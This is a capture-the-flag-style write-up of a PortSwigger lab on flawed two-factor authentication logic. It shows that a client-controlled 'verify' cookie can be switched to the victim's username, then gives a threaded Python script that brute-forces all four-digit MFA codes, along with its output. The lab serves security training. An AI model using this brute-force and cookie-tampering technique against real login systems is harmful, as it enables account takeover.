2FA broken logic | Dec 22, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: 2FA broken logic! Without further ado, let’s dive in.

Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆

Background

This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page.

Your credentials: wiener:peter
Victim’s username: carlos

You also have access to the email server to receive your 2FA verification code.

Exploitation

Login page:

Let’s try to login as user wiener, and intercept all requests via Burp Suite:

When we clicked the Log in button, it’ll send a POST request to /login, with parameter username and password.

After the POST request is sent, the application will set a new cookie for us: verify=<username>.

Hmm… What if I change the verify cookie to another users? Like carlos.

Let’s go to the Email client to get the security code:

Security code: 0267

Then send the security code and intercept the request via Burp Suite:

Let’s change the verify value to carlos, and forward the request!

Hmm… Incorrect security code.

Looks like we need to brute force the security code!

To do so, I’ll write a python script:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def sendRequest(url, cookie, number):
    loginData = {
        'mfa-code': number
    }

    # Display current number and use \r to clear previous line
    print(f'[*] Trying number: {number}', end='\r')

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Incorrect security code' not in loginRequestText:
        print(f'[+] Found security code: {number}')

def main():
    url = 'https://0ab100fb0332774dc02726db00f20057.web-security-academy.net/login2'
    cookie = {
        'session': '2cK9ym9I9zf0e0p9IECgOqDGUoJfnYT4',
        'verify': 'carlos'
    }

    # Generate number 0000 to 9999 into a list
    listNumbers = [f'{i:04d}' for i in range(10000)]
    
    for number in listNumbers:
        thread = Thread(target=sendRequest, args=(url, cookie, number))
        thread.start()

        # You can adjust how fast of each connection. 0.05s is recommended.
        sleep(0.05)

if __name__ == '__main__':
    main()

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_2fa_code.py
[+] Found security code: 1814

Found user carlos security code: 1814

Let’s login as carlos!

I’m user carlos!

What we’ve learned:

2FA broken logic